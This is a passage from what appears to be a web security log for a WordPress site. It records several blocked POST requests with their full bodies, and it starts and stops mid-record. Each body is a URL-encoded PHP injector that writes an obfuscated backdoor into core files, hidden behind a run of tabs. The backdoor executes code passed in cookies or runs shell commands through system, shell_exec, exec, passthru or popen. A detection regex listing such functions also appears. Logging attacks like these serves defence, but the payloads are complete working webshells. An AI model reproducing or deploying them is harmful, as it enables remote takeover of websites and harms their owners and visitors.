0%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4327\n\nQh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:56:53","34.101.101.253","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4350\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/comment-date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B53-53%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-67%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520secure_access%2528%2524pset%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524component%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252707c88bbd%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524component%2529%2529%2520%257B%2520%2524component%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524tkn%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524component%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524tkn%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524component%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524component%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522secure_access%2522%2529%253B%2520%2524marker%2520%253D%2520%25222681970e7665e6f154635b495e08d243%2522%253B%2520if%2520%2528%2521strncmp%2528%2524marker%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:57:02","50.6.7.129","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5202\n\nVY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:57:31","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Km:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn